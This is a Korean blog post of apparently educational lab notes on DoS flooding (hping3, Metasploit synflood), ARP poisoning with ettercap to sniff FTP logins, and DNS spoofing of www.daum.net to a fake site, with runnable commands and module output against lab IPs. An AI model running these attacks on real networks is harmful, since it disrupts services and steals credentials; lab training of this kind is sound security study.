● Volume Based AttackUDP Flood, ICMP Flood, Spoofed packet-based flood-> (목적) 피해 시스템(타겟 시스템의 대역폭(Bandwidth)을 소진한다.)
● Protocol AttackSYN Flood, Ping of Death, Smurf, Teardrop, Fragemented packet 등-> (목적)
● Application Layer Attack
● Session Exhaustion

 

[참고] ICMP LAND(Local Area Network Denial) Attack
● 툴을 제작해 보자.예 (윈도우) c:\> ping 10.0.0.1 -t -1 50000   (c:\> ping /?)예 (리눅스) # ping -s 50000 10.0.0.1         (# man ping)

 # ping.sh 192.168.20.200   (KaliLinux내에 프로그램을 만든다.)
 <CTRL + C> # pkill <program> 
 * 기능(ping -s 60000 <Target's IP>)
 * 테스트(KaliLinux -> linux200/window2008)
● hping3 명령어의 수행결과와 비교한다.[참고] hping3 명령어를 사용한 ICMP LAND Attack


[참고] TCP Syn Flooding 공격


[참고] UDP Flooding 공격
● loic 툴 사용(http://sourceforge.net/projects/loic/)
● windows7 설치해서 테스트한다.(.NET Framwork 존재해야 한다.)


[참고] 운영체제 내에서 부하량을 주는 방법(로컬 DoS)

 

 

 

 


ICMP LAND Attack(ICMP DoS Attack) 사용하기

 


ICMP LAND Attack(ICMP DoS Attack)


■ 사용시스템
- win2008 (Victim System)
- Kali Linux (Attack System)

 

(window2008 서버)

c:\> ipconfig

<CTRL + SHIFT + ESC> => 성능탭 => 리소스모니터

wireshark 실행 시킨다.

 


(Kali Linux)

# gnome-system-monitor &

타겟 시스템을 확인한다.
# hping3 -S 192.168.20.201 -p 80 -c 3

# hping3 -1 192.168.20.201 --flood -p 80 -d 20
-> (windows2008) 서버에서 wireshark 내용을 확인

# hping3 -1 192.168.20.201 --flood -p 80 -d 65495
-> data size를 늘려서 공격한다.
  -1  --icmp       ICMP mode
      --flood    sent packets as fast as possible. Don't show replies
  -e  --sign       add 'signature'
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -d  --data       data size                    (default is 0)


(windows2008)

네트워크 통화량을 확인한다.
인터넷을 해본다.(약간 느린 느낌이 들것이다.)

(주의) 공격자 시스템에도 부하량이 걸린다.

 

 

 

 

 

 

 


TCP Syn Flooding 공격


■ 사용시스템
- KaliLinux(Attacker)
- linux200(Web Server)
- windows2008(Web Client)

■ TCP Syn Flooding 공격의 동작 원리


       Attacker       Victim
  |  |
  |  |
  |  |
  |  |
  |  |
  |  |
  |  |
  |  |
  |  |
  |  |

 

1. 공격시나리오1(웹서버 공격하기)

(linux200)

웹서버를 기동한다.
# pgrep -lf httpd
# service httpd restart
# chkconfig httpd on

웹페이지를 구성한다.
# cd /var/www/html
# mkdir -p test
# echo 'Syn Flooding Test Page' > /var/www/html/test/index.html
# firefox http://192.168.20.200/test
-> 확인 후 firefox 종료


(win2008)

웹서버에 접속한다.
http://192.168.20.200
http://192.168.20.200/test

 

 

(KaliLinux)

# wireshark &

# netstat -antp | grep :5432    (# nmap localhost)
-> postgresql 서비스 동작 중인지 점검

# service postgresql start
# msfconsole                          /* 약간 시간이 걸린다(10초 정도) */

msf > show -h

[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: advanced, evasion, targets, actions


msf > show auxiliary

Auxiliary
=========

   Name                                                           Disclosure Date  Rank    Description
   ----                                                           ---------------  ----    -----------
   admin/2wire/xslt_password_reset                                2007-08-15       normal  2Wire Cross-Site Request Forgery Password Reset Vulnerability
   admin/backupexec/dump                                                           normal  Veritas Backup Exec Windows Remote File Access
   admin/backupexec/registry                                                       normal  Veritas Backup Exec Server Registry Access
   admin/cisco/cisco_secure_acs_bypass                                             normal
..... (중략) ....


msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data


msf auxiliary(synflood) > set RHOST 192.168.20.200

RHOST => 192.168.20.200


msf auxiliary(synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST      192.168.20.200   yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

          
msf auxiliary(synflood) > exploit
[*] SYN flooding 192.168.20.200:80...

 

 wireshark 화면을 보면서 확인한다.(잠시기다린다.)
 전에는 웹접속이 되었는데
 접속이 되지 않는다.
 Syn Flooding 공격 성공

(KaliLinux)

msf auxiliary(synflood) > exploit

[*] SYN flooding 192.168.20.200:80...
^C[-] Auxiliary interrupted by the console user   <---- <CTRL + C>
[*] Auxiliary module execution completed


 웹 접속이 다시 가능하다.

 

 

2. 공격시나리오2(라우터공격하기)

- 라우터에는 관리용 페이지가 존재한다.
- 집에서는 공유기 페이지를 가지고 테스트 하면 된다.

 

3. synflood.rb 파일 분석

(KaliLinux)

 "msf > use auxiliary/dos/tcp/synflood"
 "/usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb"

# cd /usr/share/metasploit-framework/
# ls

Gemfile        data        msfcli      msfencode    msfrop     msfvenom  vendor
Gemfile.lock   lib         msfconsole  msfmachscan  msfrpc     plugins
Rakefile       modules     msfd        msfpayload   msfrpcd    scripts
build_rev.txt  msfbinscan  msfelfscan  msfpescan    msfupdate  tools


# cd modules/auxiliary/dos/tcp
# ls

junos_tcp_opt.rb  synflood.rb


# vi synflood.rb

..... (중략) .....
  def run
    open_pcap

    sent = 0
    num = datastore['NUM']

    print_status("SYN flooding #{rhost}:#{rport}...")

    p = PacketFu::TCPPacket.new
    p.ip_saddr = srchost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.syn = 1

    while (num <= 0) or (sent < num)
      p.ip_ttl = rand(128)+128
      p.tcp_win = rand(4096)+1
      p.tcp_sport = sport
      p.tcp_seq = rand(0x100000000)
      p.recalc
      capture_sendto(p,rhost)
      sent += 1
    end

    close_pcap
  end
end

 

 

 


3. 공격시나리오3

● hping3 명령어를 사용하여 Syn Flooding Attack 수행한다.
● 만약 타켓(공격당하는 시스템)이 윈도우라면 윈도우 TCPview 같은 프로그램을 통해 확인 또는 netstat 명령어를 통해 확인
● wireshark 통해 분석한다.(출발지 IP(spoofed ip)를 확인해야 한다.)
● netstat 명령어를 통해 확인한다.

 # hping3 --syn -a 10.10.10.10 -i u1 -p 80 192.168.20.200
 (keypoint) -a => Fake source ip address (spoofed source ip)

   -S  --syn        set SYN flag
   -a  --spoof      spoof source address
   -i  --interval  wait (uX for X microseconds, for example -i u1000)
   -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec


참고 URL
- http://www.youtube.com/watch?v=aJ9syL4S7yE

 

 

 


[참고] ShoWin 툴을 사용하여 보안 코딩에 대한 이론을 배운다.
- 알FTP(예전프로그램) 사용해 보기
- 알드라이브(현재프로그램) 사용해 보기
- window2008 서버를 사용한다.
- www.naver.com (www.daum.net) 사용해 보기
- [참고] Yasca program (http://www.scovetta.com/yasca.html)


[참고] 툴을 통해 무작위대입공격 또는 사전파일대입공격에 대해 이론을 배운다.
- Brutus Attack(무작위 대입 공격)
- Dictionary Attack(사전 파일 대입 공격)


[참고] Kari Linux에서 Packet Sniffing 작업하기


[참고] Kari Linux에서 DNS Spoofing 수행하기


[참고] SNMP 취약점에 대해서 알아보자.
● SNMP 취약점에 대해서

Application Layer
--------------------------------------------------
Protocol  Software
--------------------------------------------------
FTP  vsftpd, ftp CMD
HTTP  apache, web browser(IE)
SMTP  sendmail, mail CMD
TELNET  telnetd, telnet CMD
DNS  bind, nslookup CMD
........
--------------------------------------------------

 

■ TCP/IP Model
---------------------------
Application Layer(DNS, HTTP, SNMP, SMTP, ...)
   -> DNS spoofing, DHCP spoofing, ... + dictionary attack
---------------------------
Transport Layer(TCP/UDP)  -> TCP Syn Flooding, UDP Flooding
---------------------------
Internet Layer(ICMP/IGMP, IP(IPv4/IPv6), ARP/RARP) -> ARP Spoofing, IP Spoofing, hping3 CMD
---------------------------
Network Interface Layer(Ethernet)
---------------------------

 

 

 

Ettercap 사용한 Kali Linux에서 Packet Sniffing 하기

 

용어:
- Packet Sniffing
- Packet Capture


사용시스템
- Kali Linux(Attacker)
- linux200(FTP 서버: vsftpd) 192.168.20.200
- win2008 (FTP 클라이언트: ftp CMD) 192.168.20.201


(Kali Linux)
● Ethernet Switch 환경에서 패킷을 스니핑하기 위해서는 arp spoofing 과정을 선수적으로 사용한다.
● ettercap 툴(arpspoof CMD)을 사용하여 arp spoofing 과정을 수행한다.

 ■ Ettercap 실행하는 방법
 # ettercap -G
 or
 Kali Linux > Sniffing/Spoofing > Network Sniffers > Ettercap-graphic

wireshark 툴을 실행한다.

# ettercap -G &
Sniff > Unified sniffing > eth1

Hosts > Scan fo hosts
Hosts > Host list

192.168.20.200 > Add to Target1
192.168.20.201 > Add to Target2

Mitm > Arp poisoning > Sniff remote connection

Start > start sniffing


(win2008)

c:> ftp 192.168.20.200
root 사용자로 로그인

ftp> ls
ftp> quit


(Kali Linux)
wireshark의 캡쳐된 패킷을 분석한다.
-> (Display filter : ftp)


[참고] ARP Spoofing
(이전 작업)
(ㄱ) Net Scanning  : # nmap 192.168.10.0/24
(ㄴ) IP Forwarding : # echo 1 > /proc/sys/net/ipv4/ip_forward
(ㄷ) ARP Spoofing  : # arpspoof -i eth1 -t 192.168.20.200 192.168.20.201
(현재 작업)
# ettercap -G &

 

 

 

  DNS Spoofing

 

사용시스템
- windows 2008(웹클라이언트) : 192.168.20.201
- Kali Linux                 : 192.168.20.50
- firewall    (방화벽/라우터): 192.168.20.100


DNS Spoofing을 하기 위한 기능
(ㄱ) Arp spoofing + IP forwarding
(ㄴ) Fake WEB
(ㄷ) Fake DNS (DNS Spoofing)


DNS Spoofing 동작원리

 

 

 


(Kali Linux)

 DNS Spoofing을 하기 위한 기능
 (ㄱ) Arp spoofing + IP forwarding
 (ㄴ) Fake WEB
 (ㄷ) Fake DNS (DNS Spoofing)

1. 웹서버 설정

 CentOS) /etc/httpd/conf/httpd.conf
         /var/www/html/index.html
         # service httpd restart
 Debian) /etc/apache2/apache2.conf
         /var/www/html/index.html
                 # service apache2 restart

# cd /etc/apache2
# ls
apache2.conf

 KaliLinux 1.X) # cd /var/www
 KaliLinux 2.X) # cd /var/www/html

# cd /var/www/html
# ls
index.html

# echo "Fake Web Site" > /var/www/html/index.html

# service apache2 restart
# pgrep -lf apache   (# service apache2 status)

# firefox http://192.168.20.50


 DNS Spoofing을 하기 위한 기능
 (ㄱ) Arp spoofing + IP forwarding
 (ㄴ) Fake WEB
 (ㄷ) Fake DNS (DNS Spoofing)

2. ARP Spoofing & dns_spoof plugin load

# cd /etc/ettercap
# ls

etter.conf  etter.dns  etter.mdns  etter.nbns


# vi etter.dns

..... (중략) .....
###############################################
# one day we will have our ettercap.org domain
#

www.ettercap.org           A  127.0.0.1
www.ettercap-project.org   A  127.0.0.1
ettercap.sourceforge.net   A  216.136.171.201
www.ettercap.org           PTR ::1

###############################################
# (1) Sfecific Configuration
# - DNS Spoofing Test
www.daum.net            A       192.168.20.50
*.daum.net              A       192.168.20.50
www.daum.net            PTR     192.168.20.50

###############################################
# some MX examples
#

alor.org   MX  127.0.0.1
naga.org   MX  127.0.0.1
example.org MX 127.0.0.2
microsoft.com MX 2001:db8::1ce:c01d:bee3
..... (중략) .....


- (주의) ettercap 툴을 완전히 종료한 후 다시 실행하고 설정을 한다.
         ettercap 툴이 변경된 /etc/ettercap/etter.dns 파일을 다시 읽어 들이도록 한다.

# ettercap -G

 Sniff > Unfied sniffing > eth1

 Hosts > Scan for host
 Hosts > Host list

 192.168.20.100 선택 -> Add to Target 1
 192.168.20.201 선택 -> Add to Target 2

 Mitm > Arp poisoning > Optional parameter
    Sniff remote connection

 Plugins > Manage the plugins > dns_spoof 더블클릭
 Start > Start sniffing


(window2008)
c:> ipconfig /flushdns

http://www.daum.net
-> 192.168.20.50 내용이 보인다.

 


 

 

Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함